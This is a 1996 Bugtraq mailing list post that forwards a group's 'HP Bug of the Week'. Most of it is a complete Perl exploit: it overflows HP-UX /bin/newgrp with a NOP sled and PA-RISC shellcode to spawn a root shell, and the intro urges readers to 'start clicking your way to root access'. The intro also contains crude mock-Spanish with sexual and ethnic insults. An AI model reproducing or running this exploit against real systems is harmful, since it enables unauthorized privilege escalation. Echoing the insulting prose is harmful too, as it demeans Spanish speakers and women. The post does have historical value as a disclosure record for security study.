[3719] in bugtraq
HP Bug of the Week!
daemon@ATHENA.MIT.EDU (Aleph One)
Sun Dec 1 22:30:33 1996
Date: Sun, 1 Dec 1996 01:09:50 -0600
Reply-To: Aleph One <aleph1@dfw.net>
From: Aleph One <aleph1@dfw.net>
To: Multiple recipients of list BUGTRAQ <BUGTRAQ@NETSPACE.ORG>
From our friends at SOD:
This week: How do you pronounce 'newgrp' without sounding offensive?
Hola! Buenos noches, y tampardo la HP Bug of the Week. Miamo compadres
un SOD graciato placendo. Mala niendo nay da la comoaristes y
paranoches, y cholo de la bitchen' senoritas. mama -- mucha amor!
Atiende por de bugeridoo in HP computasoras, and may they burn in
Hell. /bin/newgrp es loco inde cabasa, du asa root -- du madre es la
puta. So as always, start clicking your way to root access with
scripts from those folks-who-can't-speak-Spanish-for-shit at SOD.
#!/usr/bin/perl
use FileHandle;
sub h2cs {
local($stuff)=@_;
local($rv);
while($stuff !~ /^$/) {
$bob=$stuff;
$bob =~ s/^(..).*$/$1/;
$stuff =~ s/^..//;
$rv.=chr(oct("0x${bob}"));
}
return $rv;
}
open(PIPE,"uname -r|");
chop($rev=<PIPE>);
close(PIPE);
$rev =~ s/^.*\.(.*)\..*$/$1/;
if ($rev eq "10") {
$offset=2074;
$prealign="";
$postalign="P";
$pcoq=h2cs("7b03A00C");
} else {
$offset=2074;
$prealign="";
$postalign="P";
$pcoq=h2cs("7b03300C");
}
$nop=h2cs("08210280");
$code="";
# Oddly enough, real uid already == 0
# Could probably make a + + link bug out of this, too..
#$code.=h2cs("34160506"); # LDI 643,r22
#$code.=h2cs("96d60534"); # SUBI 666,r22,r22
#$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1
#$code.=h2cs("e420e008"); # BLE 4(sr7,r1)
#$code.=h2cs("0b5a029a"); # XOR arg0,arg0,arg0
$code.=h2cs("e83f1ffd"); # BL .+8,r1
$code.=h2cs("08210280"); # NOP
$code.=h2cs("34020102"); # LDI 129,rp
$code.=h2cs("08410402"); # SUB r1,rp,rp
$code.=h2cs("60400162"); # STB r0,177(rp)
$code.=h2cs("b45a0154"); # ADDI 170,rp,arg0
$code.=h2cs("0b390299"); # XOR arg0,arg0,arg0
$code.=h2cs("0b180298"); # XOR arg0,arg0,arg0
$code.=h2cs("341604be"); # LDI 607,r22
$code.=h2cs("20200801"); # LDIL L%0xc0000004,r1
$code.=h2cs("e420e008"); # BLE 4(sr7,r1)
$code.=h2cs("96d60534"); # SUB 666,r22,r22
$code.=h2cs("deadcafe"); # Illegal instruction -- dump core if exec fails
$data="/bin/sh."; # Data stuff
$codedata=$code.$data;
$num=int(($offset-length($code)-length($data)-4)/4);
$pre="$nop"x$num;
$of=$prealign;
$of.=$pre.$code.$data.$postalign.$pcoq;
exec("/bin/newgrp","$of");
Aleph One / aleph1@dfw.net
http://underground.org/
KeyID 1024/948FD6B5
Fingerprint EE C9 E8 AA CB AF 09 61 8C 39 EA 47 A8 6A B8 01
